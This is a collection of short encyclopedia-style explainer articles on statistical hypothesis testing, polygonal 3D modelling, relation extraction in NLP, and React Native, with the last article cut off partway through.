{"text":"# Hypothesis Testing and Types of Errors\n\n## Summary\n\n\nSuppose we want to study income of a population. We study a sample from the population and draw conclusions. The sample should represent the population for our study to be a reliable one.\n\n**Null hypothesis** \\((H\\_0)\\) is that sample represents population. Hypothesis testing provides us with framework to conclude if we have sufficient evidence to either accept or reject null hypothesis. \n\nPopulation characteristics are either assumed or drawn from third-party sources or judgements by subject matter experts. Population data and sample data are characterised by moments of its distribution (mean, variance, skewness and kurtosis). We test null hypothesis for equality of moments where population characteristic is available and conclude if sample represents population.\n\nFor example, given only mean income of population, we validate if mean income of sample is close to population mean to conclude if sample represents the population.\n\n## Discussion\n\n### What are the math representations of population and sample parameters?\n\nPopulation mean and population variance are denoted in Greek alphabets \\(\\mu\\) and \\(\\sigma^2\\) respectively, while sample mean and sample variance are denoted in English alphabets \\(\\bar x\\) and \\(s^2\\) respectively. \n\n\n### What's the relevance of sampling error to hypothesis testing?\n\nSuppose we obtain a sample mean of \\(\\bar x\\) from a population of mean \\(\\mu\\). The two are defined by the relationship |\\(\\bar x\\) - \\(\\mu\\)|>=0: \n\n    + If the difference is not significant, we conclude the difference is due to sampling. This is called **sampling error** and this happens due to chance.\n    + If the difference is significant, we conclude the sample does not represent the population. The reason has to be more than chance for difference to be explained.Hypothesis testing helps us to conclude if the difference is due to sampling error or due to reasons beyond sampling error.\n\n\n### What are some assumptions behind hypothesis testing?\n\nA common assumption is that the observations are independent and come from a random sample. The population distribution must be Normal or the sample size is large enough. If the sample size is large enough, we can invoke the *Central Limit Theorem (CLT)* regardless of the underlying population distribution. Due to CLT, sampling distribution of the sample statistic (such as sample mean) will be approximately a Normal distribution. \n\nA rule of thumb is 30 observations but in some cases even 10 observations may be sufficient to invoke the CLT. Others require at least 50 observations. \n\n\n### What are one-tailed and two-tailed tests?\n\nWhen acceptance of \\(H\\_0\\) involves boundaries on both sides, we invoke the **two-tailed test**. For example, if we define \\(H\\_0\\) as sample drawn from population with age limits in the range of 25 to 35, then testing of \\(H\\_0\\) involves limits on both sides.\n\nSuppose we define the population as greater than age 50, we are interested in rejecting a sample if the age is less than or equal to 50; we are not concerned about any upper limit. Here we invoke the **one-tailed test**. A one-tailed test could be left-tailed or right-tailed.\n\nConsider average gas price in California compared to the national average of $2.62. If we believe that the price is higher in California, we consider right-tailed test. If we believe that California price is different from national average but we don't know if it's higher or lower, we consider two-tailed test. Symbolically, given the **alternative or research hypothesis** \\(H\\_1\\), we state, \n\n    + \\(H\\_0\\): \\(\\mu = \\$ 2.62\\)\n    + \\(H\\_1\\) right-tailed: \\(\\mu > \\$ 2.62\\)\n    + \\(H\\_1\\) two-tailed: \\(\\mu \\neq \\$ 2.62\\)\n\n### What are the types of errors in hypothesis testing?\n\nIn concluding whether sample represents population, there is scope for committing errors on following counts: \n\n    + Not accepting that sample represents population when in reality it does. This is called **type-I** or **\\(\\alpha\\) error**.\n    + Accepting that sample represents population when in reality it does not. This is called **type-II** or **\\(\\beta\\) error**.For instance, granting loan to an applicant with low credit score is \\(\\alpha\\) error. Not granting loan to an applicant with high credit score is (\\(\\beta\\)) error.\n\nThe symbols \\(\\alpha\\) and \\(\\beta\\) are used to represent the probability of type-I and type-II errors respectively.  \n\n\n### How do we measure type-I or \\(\\alpha\\) error?\n\nThe p-value can be interpreted as the probability of getting a result that's same or more extreme when the null hypothesis is true. \n\nThe observed sample mean \\(\\bar x\\) is overlaid on population distribution of values with mean \\(\\mu\\) and variance \\(\\sigma^2\\). The proportion of values beyond \\(\\bar x\\) and away from \\(\\mu\\) (either in left tail or in right tail or in both tails) is **p-value**. If p-value <= \\(\\alpha\\) we reject null hypothesis. The results are said to be **statistically significant** and not due to chance. \n\nAssuming \\(\\alpha\\)=0.05, p-value > 5%, we conclude the sample is highly likely to be drawn from population with mean \\(\\mu\\) and variance \\(\\sigma^2\\). We accept \\((H\\_0)\\). Otherwise, there's insufficient evidence to be part of population and we reject \\(H\\_0\\). \n\nWe preselect \\(\\alpha\\) based on how much type-I error we're willing to tolerate. \\(\\alpha\\) is called **level of significance**. The standard for level of significance is 0.05 but in some studies it may be 0.01 or 0.1. In the case of two-tailed tests, it's \\(\\alpha/2\\) on either side.\n\n\n### How do we determine sample size and confidence interval for sample estimate?\n\n**Law of Large Numbers** suggests larger the sample size, the more accurate the estimate. Accuracy means the variance of estimate will tend towards zero as sample size increases. Sample Size can be determined to suit accepted level of tolerance for deviation. \n\nConfidence interval of sample mean is determined from sample mean offset by variance on either side of the sample mean. If the population variance is known, then we conduct z-test based on Normal distribution. Otherwise, variance has to be estimated and we use t-test based on t-distribution.  \n\nThe formulae for determining sample size and confidence interval depends on what we to estimate (mean/variance/others), sampling distribution of estimate and standard deviation of estimate's sampling distribution.\n\n\n### How do we measure type-II or \\(\\beta\\) error?\n\nWe overlay sample mean's distribution on population distribution, the proportion of overlap of sampling estimate's distribution on population distribution is **\\(\\beta\\) error**. \n\nLarger the overlap, larger the chance the sample does belong to population with mean \\(\\mu\\) and variance \\(\\sigma^2\\). Incidentally, despite the overlap, p-value may be less than 5%. This happens when sample mean is way off population mean, but the variance of sample mean is such that the overlap is significant.\n\n\n### How do we control \\(\\alpha\\) and \\(\\beta\\) errors?\n\nErrors \\(\\alpha\\) and \\(\\beta\\) are dependent on each other. Increasing one decreases the other. Choosing suitable values for these depends on the cost of making these errors. Perhaps it's worse to convict an innocent person (type-I error) than to acquit a guilty person (type-II error), in which case we choose a lower \\(\\alpha\\). But it's possible to decrease both errors but collecting more data. \n\nJust as p-value manifests \\(\\alpha\\), **Power of Test** manifests \\(\\beta\\). Power of test is \\(1-\\beta\\). Among the various ways to interpret power are: \n\n    + Probability of rejecting the null hypothesis when, in fact, it is false.\n    + Probability that a test of significance will pick up on an effect that is present.\n    + Probability of avoiding a Type II error.Low p-value and high power help us decisively conclude sample doesn't belong to population. When we cannot conclude decisively, it's advisable to go for larger samples and multiple samples.\n\nIn fact, power is increased by increasing sample size, effect sizes and significance levels. Variance also affects power. \n\n\n### What are some misconceptions in hypothesis testing?\n\nA common misconception is to consider \"p value as the probability that the null hypothesis is true\". In fact, p-value is computed under the assumption that the null hypothesis is true. P-value is the probability of observing the values, or more extremes values, if the null hypothesis is true. \n\nAnother misconception, sometimes called **base rate fallacy**, is that under controlled \\(\\alpha\\) and adequate power, statistically significant results correspond to true differences. This is not the case, as shown in the figure. Even with \\(\\alpha\\)=5% and power=80%, 36% of statistically significant p-values will not report the true difference. This is because only 10% of the null hypotheses are false (base rate) and 80% power on these gives only 80 true positives. \n\nP-value doesn't measure the size of the effect, for which **confidence interval** is a better approach. A drug that gives 25% improvement may not mean much if symptoms are innocuous compared to another drug that gives small improvement from a disease that leads to certain death. Context is therefore important. \n\n## Milestones\n\n1710\n\nThe field of **statistical testing** probably starts with John Arbuthnot who applies it to test sex ratios at birth. Subsequently, others in the 18th and 19th centuries use it in other fields. However, modern terminology (null hypothesis, p-value, type-I or type-II errors) is formed only in the 20th century. \n\n1900\n\nPearson introduces the concept of **p-value** with the chi-squared test. He gives equations for calculating P and states that it's \"the measure of the probability of a complex system of n errors occurring with a frequency as great or greater than that of the observed system.\" \n\n1925\n\nRonald A. Fisher develops the concept of p-value and shows how to calculate it in a wide variety of situations. He also notes that a value of 0.05 may be considered as conventional cut-off. \n\n1933\n\nNeyman and Pearson publish *On the problem of the most efficient tests of statistical hypotheses*. They introduce the notion of **alternative hypotheses**. They also describe both **type-I and type-II errors** (although they don't use these terms). They state, \"Without hoping to know whether each separate hypothesis is true or false, we may search for rules to govern our behaviour with regard to them, in following which we insure that, in the long run of experience, we shall not be too often wrong.\" \n\n1949\n\nJohnson's textbook titled *Statistical methods in research* is perhaps the first to introduce to students the Neyman-Pearson hypothesis testing at a time when most textbooks follow Fisher's significance testing. Johnson uses the terms \"error of the first kind\" and \"error of the second kind\". In time, Fisher's approach is called **P-value approach** and the Neyman-Pearson approach is called **fixed-α approach**. \n\n1993\n\nCarver makes the following suggestions: use of the term \"statistically significant\"; interpret results with respect to the data first and statistical significance second; and pay attention to the size of the effect.","meta":{"title":"Hypothesis Testing and Types of Errors","href":"hypothesis-testing-and-types-of-errors"}}
{"text":"# Polygonal Modelling\n\n## Summary\n\n\nPolygonal modelling is a 3D modelling approach that utilizes edges, vertices and faces to form models. Modellers start with simple shapes and add details to build on them. They alter the shapes by adjusting the coordinates of one or more vertices. A polygonal model is called faceted as polygonal faces determine its shape.  \n\nPolygonal or polyhedral modelling fits best where visualization matters more than precision. It's extensively used by video game designers and animation studios. Assets in video games form whole worlds for gamers. Features of these assets are built using polygonal modelling. \n\nComputers take less time to render polygonal models. So, polygonal modelling software run well on browsers. For higher precision, advanced 3D models such as NURBS are suitable. However, NURBs can't be 3D printed unless they are converted to polygons. Many industrial applications easily handle polygonal model representations.\n\n## Discussion\n\n### Can you describe the basic elements of polygonal modelling?\n\nA **vertex** is the smallest component of a 3D model. Two or more edges of a polygon meet at a vertex. \n\n**Edges** define the shape of the polygons and the 3D model. They are straight lines connecting the vertices. \n\nTriangles and quadrilaterals are the polygons generally used. Some applications offer the use of polygons with any number of edges (N-gons) to work with. \n\nFaces of polygons combine to form polygonal **meshes**. One can **deform** meshes. That is, one may move, twist or turn meshes to create 3D objects using deformation tools in the software. The number of polygons in a mesh makes its **polycount**. \n\n**UV coordinates** are the horizontal (U) and vertical (V) axes of the 2D space. 3D meshes are converted into 2D information to wrap textures around them. \n\nPolygon density in the meshes is its **resolution**. Higher resolution indicates better detailing. Good 3D models contain high-resolution meshes where fine-detailing matters and low-resolution meshes where detailing isn't important. \n\n\n### How are polygonal meshes generated?\n\nPolygonal meshes are generated by converting a set of spatial points into vertices, faces and edges. These components meet at shared boundaries to form physical models. \n\nPolygonal mesh generation (aka meshing) is of two types: **Manual** and **Automatic**. In manual meshing, the positions of vertices are edited one by one. In automatic meshing, values are fed into the software. The software automatically constructs meshes based on the specified values. The automatic method enables the rapid creation of 3D objects in games, movies and VR. \n\nMeshing is performed at two levels. At the model's surface level, it's called **Surface meshing**. Surface meshes won't have free edges or a common edge shared by more than two polygons. \n\nMeshing in its volume dimension is called **Solid meshing**. The solid surfaces in solid meshing are either polyhedral or trimmed.  \n\nThere are many ways to produce polygonal meshes. Forming primitives from standard shapes is one way. Meshes can also be drawn by interpolating edges or points of other objects. Converting existing solid models and stretching custom-made meshes into fresh meshes are two other options. \n\n\n### What are free edges, manifold edges and non-manifold edges?\n\nA **free edge** in a mesh is an edge that doesn't fully merge with the edge of its neighbouring element. The nodes of meshes with free edges won't be accurately connected. Such edges within the geometry will affect the overall output. Therefore, unwanted free meshes should be removed. \n\nA **manifold edge** is an edge shared utmost by two faces. It means, when there is a third face sharing the edge, it becomes a **non-manifold** edge. \n\nA non-manifold edge cannot be replicated in the real world. Hence it should be removed while modelling. In the event of 3D printing, non-manifold edges will produce failed models. \n\n\n### How would you classify the polygonal meshing process based on grid structure?\n\nA grid structure works on the principle of Finite Element Analysis (FEA). An FEA node can be thought of as the vertex of a polygon in polygonal modelling. An FEA element shall represent an edge, a shape and a solid in three different dimensions. \n\nDividing the expanse of a polygonal model into small elements before computing forms a grid. Grid structure-wise, meshing is of two types: \n\n    + **Structured meshing** displays a definite pattern in the arrangement of nodes or elements. The size of each element in it is nearly the same. It enables easy access to the coordinates of these elements. It's applicable to uniform grids made of rectangles, ellipses and spheres that make regular grids.\n    + **Unstructured meshing** is arbitrary and forms irregular geometric shapes. The connectivity between elements is not uniform. So, unstructured meshes do not follow a definite pattern. It requires that the connectivity between elements is well-defined and properly stored. The axes of these elements are unaligned (non-orthogonal).\n\n### How are mesh generation algorithms written for polygonal modelling?\n\nMesh generation algorithms are written according to the principles of the chosen mesh generation method. There are many methods to generating meshes. It depends on the mesh type. \n\nA mesh generation method serves the purposes of generating nodes (geometry) and connecting nodes (topology). \n\nLet's take the Delaunay triangulation method for instance. According to it, the surface domain elements are discretized into non-overlapping triangles. The nodes are so created that the angles between them when triangulated are the least. The circumcircle drawn about each triangle cannot accommodate an additional triangle within it. \n\nDelaunay triangulation is applied through several algorithms. Boyer-Watson algorithm is one of them. It's an incremental algorithm that adds one node at a time in a given triangulation. If the new point falls within the circumcircle of a triangle, the triangle is removed. Using the new point a fresh triangle is formed. \n\n\n### How does one fix the polygon count for models?\n\nPolygon count or polycount gives a measure of visual quality. Detailing needs a high number of polygons. It gives a photorealistic effect.  But high polycount impacts efficiency. It may take more time to load and render. When a model takes more time to download, we may run out of patience. Real-time rendering delays cause a video or animation to stop and start. So, a good polygonal model is a combination of high visual quality and low polycount. \n\nThe threshold number to call a polygon count high is subjective. For mobile devices, anywhere between 300 to 1500 polygons is good. Desktops can comfortably accommodate 1500 to 4000 polygons without affecting performance. \n\nThese polycount numbers vary depending on the CPU configuration and other hardware capabilities. Advanced rendering capabilities smoothly handle anywhere between 10k to 40k polygons. Global mobile markets are vying to produce CPUs that can render 100k to 1 million polygons for an immersive 3D experience. \n\nHigher polycount increases the file sizes of 3D assets. Websites will have upload limits. So it's also important to keep file sizes in mind while fixing the polygon count. \n\n\n### What are some beginner pitfalls to polygonal modelling?\n\n**Irregular meshes**: As beginners, we may miss triangles and create self-intersecting surfaces. Or we may leave holes on mesh surfaces or fill in with backward triangles. Irregular meshes will affect the model's overall appearance. Eyeball checks and use of mesh generation software will help us avoid mesh-related errors. \n\n**Incorrect measurements**: It may distort the model's proportionality and ruin the output. It's best to train our eyes to compare images and estimate the difference in depths. Comparing our model with the reference piece on the image viewer tool will tell us the difference. \n\n**Too many subdivisions early in the modelling**: It will disable us from making changes without tampering with the measurements. So, we may end up creating uneven surfaces. Instead, it's better to start with fewer polygons and add to them as we build the model. \n\n**Topology error**: We may get the edge structure and mesh distributions wrong. We need to equip ourselves by learning how to use mesh tools. It's important to learn where to use triangles, quads and higher polygons. Duplicates are to be watched out for. Understanding the flow of edges is vital. \n\n## Milestones\n\n1952\n\nGeoffrey Colin Shepherd furthers Thomas Bradwardine's 14th-century work on non-convex polygons. He extends polygon formation to the imaginary plane. It paves the way for the construction of complex polygons. In polygonal modelling, complex polygons have circuitous boundaries. A polygon with a hole inside is one example. \n\n1972\n\nBruce G Baumgart introduces a paper on **winged edge data structure** at Stanford University. Winged data structure is a way of representing polyhedrons on a computer. The paper states its exclusive use in AI for computer graphics and world modelling. \n\n1972\n\nNewell introduces the **painter's algorithm**. It's a painting algorithm that paints a polygon. It considers the distance of the plane from the viewer while painting. The algorithm paints the farthest polygon from the viewer first and proceeds to the nearest. \n\n1972\n\nEdwin Catmull and Fredrick Parke create the **world's first 3D rendered movie**. In the movie, the animation of Edwin's left hand has precisely drawn and measured polygons. \n\n1992\n\nFowlery et al. present *Modelling Seashells* at ACM SIGGRAPH, Chicago. They use polygonal meshes among others to create comprehensive computer imagery of seashells. \n\n1998\n\nAndreas Raab suggests the **classification of edges** of a polygonal mesh. They shall be grouped as sharp, smooth, contour and triangulation edges. It solves the problem of choosing the right lines to draw. \n\n1999\n\nDeussen et al. successfully apply Adreas Raab's algorithm that constructs a skeleton from a 3D polygonal model. They use it in connection with the intersecting planes.","meta":{"title":"Polygonal Modelling","href":"polygonal-modelling"}}
{"text":"# Relation Extraction\n\n## Summary\n\n\nConsider the phrase \"President Clinton was in Washington today\". This describes a *Located* relation between Clinton and Washington. Another example is \"Steve Balmer, CEO of Microsoft, said…\", which describes a *Role* relation of Steve Balmer within Microsoft. \n\nThe task of extracting semantic relations between entities in text is called **Relation Extraction (RE)**. While Named Entity Recognition (NER) is about identifying entities in text, RE is about finding the relations among the entities. Given unstructured text, NER and RE helps us obtain useful structured representations. Both tasks are part of the discipline of Information Extraction (IE).  \n\nSupervised, semi-supervised, and unsupervised approaches exist to do RE. In the 2010s, neural network architectures were applied to RE. Sometimes the term **Relation Classification** is used, particularly in approaches that treat it as a classification problem.\n\n## Discussion\n\n### What sort of relations are captured in relation extraction?\n\nHere are some relations with examples:\n\n    + *located-in*: CMU is in Pittsburgh\n    + *father-of*: Manuel Blum is the father of Avrim Blum\n    + *person-affiliation*: Bill Gates works at Microsoft Inc.\n    + *capital-of*: Beijing is the capital of China\n    + *part-of*: American Airlines, a unit of AMR Corp., immediately matched the moveIn general, affiliations involve persons, organizations or artifacts. Geospatial relations involve locations. Part-of relations involve organizations or geo-political entities. \n\n**Entity tuple** is the common way to represent entities bound in a relation. Given n entities in a relation r, the notation is \\(r(e\\_{1},e\\_{2},...,e\\_{n})\\). An example use of this notation is *Located-In(CMU, Pittsburgh)*. \n\nRE mostly deals with binary relations where n=2. For n>2, the term used is **higher-order relations**. An example of 4-ary biomedical relation is *point\\_mutation(codon, 12, G, T)*, in the sentence \"At codons 12, the occurrence of point mutations from G to T were observed\". \n\n\n### What are some common applications of relation extraction?\n\nSince structured information is easier to use than unstructured text, relation extraction is useful in many NLP applications. RE enriches existing information. Once relations are obtained, they can be stored in databases for future queries. They can be visualized and correlated with other information in the system. \n\nIn question answering, one might ask \"When was Gandhi born?\" Such a factoid question can be answered if our relation database has stored the relation *Born-In(Gandhi, 1869)*. \n\nIn biomedical domain, protein binding relations can lead to drug discovery. When relations are extracted from a sentence such as \"Gene X with mutation Y leads to malignancy Z\", these relations can help us detect cancerous genes. Another example is to know the location of a protein in an organism. This ternary relation is split into two binary relations (Protein-Organism and Protein-Location). Once these are classified, the results are merged into a ternary relation. \n\n\n### Which are the main techniques for doing relation extraction?\n\nWith **supervised learning**, the model is trained on annotated text. Entities and their relations are annotated. Training involves a binary classifier that detects the presence of a relation, and a classifier to label the relation. For labelling, we could use SVMs, decision trees, Naive Bayes or MaxEnt. Two types of supervision are feature-based or kernel-based. \n\nSince finding large annotated datasets is difficult, a **semi-supervised** approach is more practical. One approach is to do a phrasal search with wildcards. For example, `[ORG] has a hub at [LOC]` would return organizations and their hub locations. If we relax the pattern, we'll get more matches but also false positives. \n\nAn alternative is to use a set of specific patterns, induced from an initial set of seed patterns and seed tuples. This approach is called **bootstrapping**. For example, given the seed tuple *hub(Ryanair, Charleroi)* we can discover many phrasal patterns in unlabelled text. Using these patterns, we can discover more patterns and tuples. However, we have to be careful of **semantic drift**, in which one wrong tuple/pattern can lead to further errors. \n\n\n### What sort of features are useful for relation extraction?\n\nSupervised learning uses features. The named entities themselves are useful features. This includes an entity's bag of words, head words and its entity type. It's also useful to look at words surrounding the entities, including words that are in between the two entities. Stems of these words can also be included. The distance between the entities could be useful. \n\nThe **syntactic structure** of the sentence can signal the relations. A syntax tree could be obtained via base-phrase chunking, dependency parsing or full constituent parsing. The paths in these trees can be used to train binary classifiers to detect specific syntactic constructions. The accompanying figure shows possible features in the sentence \"[ORG American Airlines], a unit of AMR Corp., immediately matched the move, spokesman [PERS Tim Wagner] said.\" \n\nWhen using syntax, expert knowledge of linguistics is needed to know which syntactic constructions correspond to which relations. However, this can be automated via machine learning. \n\n\n### Could you explain kernel-based methods for supervised relation classification?\n\nUnlike feature-based methods, kernel-based methods don't require explicit feature engineering. They can explore a large feature space in polynomial computation time. \n\nThe essence of a kernel is to compute the **similarity** between two sequences. A kernel could be designed to measure structural similarity of character sequences, word sequences, or parse trees involving the entities. In practice, a kernel is used as a similarity function in classifiers such as SVM or Voted Perceptron. \n\nWe note a few kernel designs: \n\n    + **Subsequence**: Uses a sequence of words made of the entities and their surrounding words. Word representation includes POS tag and entity type.\n    + **Syntactic Tree**: A constituent parse tree is used. Convolution Parse Tree Kernel is one way to compare similarity of two syntactic trees.\n    + **Dependency Tree**: Similarity is computed between two dependency parse trees. This could be enhanced with shallow semantic parsers. A variation is to use dependency graph paths in which the shortest path between entities represents a relation.\n    + **Composite**: Combines the above approaches. Subsequence kernels capture lexical information whereas tree kernels capture syntactic information.\n\n### Could you explain distant supervised approach to relation extraction?\n\nDue to extensive work done for Semantic Web, we already have many knowledge bases that contain `entity-relation-entity` triplets. Examples include DBpedia (3K relations), Freebase (38K relations), YAGO, and Google Knowledge Graph (35K relations). These can be used for relation extraction without requiring annotated text.  \n\nDistant supervision is a combination of unsupervised and supervised approaches. It extracts relations without supervision. It also induces thousands of features using a probabilistic classifier. \n\nThe process starts by linking named entities to those in the knowledge bases. Using relations in the knowledge base, the patterns are picked up in the text. Patterns are applied to find more relations. Early work used DBpedia and Freebase, and Wikipedia as the text corpus. Later work utilized semi-structured data (HTML tables, Wikipedia list pages, etc.) or even a web search to fill gaps in knowledge graphs. \n\n\n### Could you compare some semi-supervised or unsupervised approaches of some relation extraction tools?\n\nDIPRE's algorithm (1998) starts with seed relations, applies them to text, induces patterns, and applies the patterns to obtain more tuples. These steps are iterated. When applied to *(author, book)* relation, patterns take the form `(longest-common-suffix of prefix strings, author, middle, book, longest-common-prefix of suffix strings)`. DIPRE is an application of Yarowsky algorithm (1995) invented for WSD. \n\nLike DIPRE, Snowball (2000) uses seed relations but doesn't look for exact pattern matches. Tuples are represented as vectors, grouped using similarity functions. Each term is also weighted. Weights are adjusted with each iteration. Snowball can handle variations in tokens or punctuation. \n\nKnowItAll (2005) starts with domain-independent extraction patterns. Relation-specific and domain-specific rules are derived from the generic patterns. The rules are applied on a large scale on online text. It uses pointwise mutual information (PMI) measure to retain the most likely patterns and relations. \n\nUnlike earlier algorithms, TextRunner (2007) doesn't require a pre-defined set of rules. It learns relations, classes and entities on its own from a large corpus. \n\n\n### How are neural networks being used to do relation extraction?\n\nNeural networks were increasingly applied to relation extraction from the early 2010s. Early approaches used **Recursive Neural Networks** that were applied to syntactic parse trees. The use of **Convolutional Neural Networks (CNNs)** came next, to extract sentence-level features and the context surrounding words. A combination of these two networks has also been used. \n\nSince CNNs failed to learn long-distance dependencies, **Recurrent Neural Networks (RNNs)** were found to be more effective in this regard. By 2017, basic RNNs gave way to gated variants called GRU and LSTM. A comparative study showed that CNNs are good at capturing local and position-invariant features whereas RNNs are better at capturing order information long-range context dependency. \n\nThe next evolution was towards **attention mechanism** and **pre-trained language models** such as BERT. For example, attention mechanism can pick out most relevant words and use CNNs or LSTMs to learn relations. Thus, we don't need explicit dependency trees.  In January 2020, it was seen that BERT-based models represent the current state-of-the-art with an F1 score close to 90. \n\n\n### How do we evaluate algorithms for relation extraction?\n\nRecall, precision and F-measures are typically used to evaluate on a gold-standard of human annotated relations. These are typically used for supervised methods. \n\nFor unsupervised methods, it may be sufficient to check if a relation has been captured correctly. There's no need to check if every mention of the relation has been detected. Precision here is simply the correct relations against all relations as judged by human experts. Recall is more difficult to compute. Gazetteers and web resources may be used for this purpose. \n\n\n### Could you mention some resources for working with relation extraction?\n\nPapers With Code has useful links to recent publications on relation classification. GitHub has a topic page on relation classification. Another useful resource is a curated list of papers, tutorials and datasets.\n\nThe current state-of-the-art is captured on the NLP-progress page of relation extraction. \n\nAmong the useful datasets for training or evaluation are ACE-2005 (7 major relation types) and SemEval-2010 Task 8 (19 relation types). For distant supervision, Riedel or NYT dataset was formed by aligning Freebase relations with New York Times corpus. There's also Google Distant Supervision (GIDS) dataset and FewRel. TACRED is a large dataset containing 41 relation types from newswire and web text. \n\n## Milestones\n\n1998\n\nAt the 7th Message Understanding Conference (MUC), the task of extracting relations between entities is considered. Since this is considered as part of template filling, they call it **template relations**. Relations are limited to organizations: employee\\_of, product\\_of, and location\\_of. \n\nJun  \n2000\n\nAgichtein and Gravano propose *Snowball*, a semi-supervised approach to generating patterns and extracting relations from a small set of seed relations. At each iteration, it evaluates for quality and keeps only the most reliable patterns and relations. \n\nFeb  \n2003\n\nZelenko et al. obtain **shallow parse trees** from text for use in binary relation classification. They use contiguous and sparse subtree kernels to assess similarity of two parse trees. Subsequently, this **kernel-based** approach is followed by other researchers: kernels on dependency parse trees of Culotta and Sorensen (2004); subsequence and shortest dependency path kernels of Bunescu and Mooney (2005); convolutional parse kernels of Zhang et al. (2006); and composite kernels of Choi et al. (2009).  \n\n2004\n\nKambhatla takes a **feature-based** supervised classifier approach to relation extraction. A MaxEnt model is used along with lexical, syntactic and semantic features. Since kernel methods are a generalization of feature-based algorithms, Zhao and Grishman (2005) extend Kambhatla's work by including more syntactic features using kernels, then use SVM to pick out the most suitable features. \n\nJun  \n2005\n\nSince binary classifiers have been well studied, McDonald et al. cast the problem of extracting **higher-order relations** into many binary relations. This also makes the data less sparse and eases computation. Binary relations are represented as a graph, from which cliques are extracted. They find that probabilistic cliques perform better than maximal cliques. The figure corresponds to some binary relations extracted for the sentence \"John and Jane are CEOs at Inc. Corp. and Biz. Corp. respectively.\" \n\nJan  \n2007\n\nBanko et al. propose **Open Information Extraction** along with an implementation that they call *TextRunner*. In an unsupervised manner, the system is able to extract relations without any human input. Each tuple is assigned a probability and indexed for efficient information retrieval. TextRunner has three components: self-supervised learner, single-pass extractor, and redundancy-based assessor. \n\nAug  \n2009\n\nMintz et al. propose **distant supervision** to avoid the cost of producing hand-annotated corpus. Using entity pairs that appear in Freebase, they find all sentences in which each pair occurs in unlabelled text, extract textual features and train a relation classifier. The include both lexical and syntactic features. They note that syntactic features are useful when patterns are nearby in the dependency tree but distant in terms of words. In the early 2010s, distant supervision becomes an active area of research. \n\nAug  \n2014\n\nNeural networks and word embeddings were first explored by Collobert et al. (2011) for a number of NLP tasks. Zeng et al. apply **word embeddings** and **Convolutional Neural Network (CNN)** to relation classification. They treat relation classification as a multi-class classification problem. Lexical features include the entities, their surrounding tokens, and WordNet hypernyms. CNN is used to extract sentence level features, for which each token is represented as *word features (WF)* and *position features (PF)*. \n\nJul  \n2015\n\nDependency shortest path and subtrees have been shown to be effective for relation classification. Liu et al. propose a recursive neural network to model the dependency subtrees, and a convolutional neural network to capture the most important features on the shortest path. \n\nOct  \n2015\n\nSong et al. present *PKDE4J*, a framework for dictionary-based entity extraction and rule-based relation extraction. Primarily meant for biomedical field, they report F-measures of 85% for entity extraction and 81% for relation extraction. The RE algorithm uses dependency parse trees, which are analyzed to extract heuristic rules. They come up with 17 rules that can be applied to discern relations. Examples of rules include verb in dependency path, nominalization, negation, active/passive voice, entity order, etc. \n\nAug  \n2016\n\nMiwa and Bansal propose to **jointly model the tasks of NER and RE**. A BiLSTM is used on word sequences to obtain the named entities. Another BiLSTM is used on dependency tree structures to obtain the relations. They also find that shortest path dependency tree performs better than subtrees of full trees. \n\nMay  \n2019\n\nWu and He apply **BERT pre-trained language model** to relation extraction. They call their model *R-BERT*. Named entities are identified beforehand and are delimited with special tokens. Since an entity can span multiple tokens, their start/end hidden token representations are averaged. The output is a softmax layer with cross-entropy as the loss function. On SemEval-2010 Task 8, R-BERT achieves state-of-the-art Macro-F1 score of 89.25. Other BERT-based models learn NER and RE jointly, or rely on topological features of an entity pair graph.","meta":{"title":"Relation Extraction","href":"relation-extraction"}}
{"text":"# React Native\n\n## Summary\n\n\nTraditionally, *native mobile apps* have been developed in specific languages that call platform-specific APIs. For example, Objective-C and Swift for iOS app development; Java and Kotlin for Android app development. This means that developers who wish to release their app on multiple platforms will have to implement it in different languages.\n\nTo avoid this duplication, *hybrid apps* came along. The app was implemented using web technologies but instead of running it inside a web browser, it was wrapped and distributed as an app. But it had performance limitations.\n\nReact Native enables web developers write code once, deploy on any mobile platform and also use the platform's native API. **React Native** is a platform to build native mobile apps using JavaScript and React.\n\n## Discussion\n\n### As a developer, why should I adopt React Native?\n\nSince React Native allows developers maintain a single codebase even when targeting multiple mobile platforms, development work is considerably reduced. Code can be reused across platforms. If you're a web developer new to mobile app development, there's no need to learn a new language. You can reuse your current web programming skills and apply them to the mobile app world. Your knowledge of HTML, CSS and JS will be useful, although you'll be applying them in a different form in React Native. \n\nReact Native uses ReactJS, which is a JS library invented and later open sourced by Facebook. ReactJS itself has been gaining adoption because it's easy to learn for a JS programmer. It's performant due to the use of *virtual DOM*. The recommended syntax is ES6 and JSX. ES6 brings simplicity and readability to JS code. JSX is a combination of XML and JS to build reusable component-based UI. \n\n\n### How is React Native different from ReactJS?\n\nReact Native is a framework whereas ReactJS is a library. In ReactJS projects, we typically use a bundler such as *Webpack* to bundle necessary JS files for use in a browser. In React Native, we need only a single command to start a new project. All basic modules required for the project will be installed. We also need to install Android Studio for Android development and Xcode for iOS development. \n\nIn ReactJS, we are allowed to use HTML tags. In React Native, we create UI components using React Native components that are specified using JSX syntax. These components are mapped to native UI components. Thus, we can't reuse any ReactJS libraries that render HTML, SVG or Canvas. \n\nIn ReactJS, styling is done using CSS, like in any web app. In React Native, styling is done using JS objects. For component layout, React Native's *Flexbox* can be used. CSS animations are also replaced with the *Animated* API. \n\n\n### How does React Native work under the hood?\n\nBetween native and JavaScript worlds is a bridge (implemented in C++) through which data flows. Native code can call JS code and vice versa. To pass data between the two, data is serialized. \n\nFor example, a UI event is captured as a native event but the processing for this is done in JavaScript. The result is serialized and sent over the bridge to the native world. The native world deserializes the response, does any necessary processing and updates the UI. \n\n\n### What are some useful developer features of React Native?\n\nReact Native offers the following:\n\n    + **Hot Reloading**: Small changes to your app will be immediately visible during development. If business logic is changed, Live Reload can be used instead.\n    + **Debugging**: Chrome Dev Tools can be used for debugging your app. In fact, your debugging skills from the web world can be applied here.\n    + **Publishing**: Publishing your app is easy using CodePush, now part of Visual Studio App Center.\n    + **Device Access**: React Native gets access to camera, sensors, contacts, geolocation, etc.\n    + **Declarative**: UI components are written in a declarative manner. Component-based architecture also means that one developer need not worry about breaking another's work.\n    + **Animations**: For performance, these are serialized and sent to the native driver. They run independent of the JS event loop.\n    + **Native Code**: Native code and React Native code can coexist. This is important because React Native APIs may not support all native functionality.\n\n### How does React Native compare against platforms in terms of performance?\n\nSince React Native is regularly being improved with each release, we can except better performance than what we state below.\n\nA comparison of React Native against iOS native programming using Swift showed comparable performance of CPU usage for list views. When resizing maps, Swift was better by 10% but React Native uses far less memory here. For GPU usage, Swift outperforms marginally except for list views. \n\nReact Native apps can leak memory. Therefore, `FlatList`, `SectionList`, or 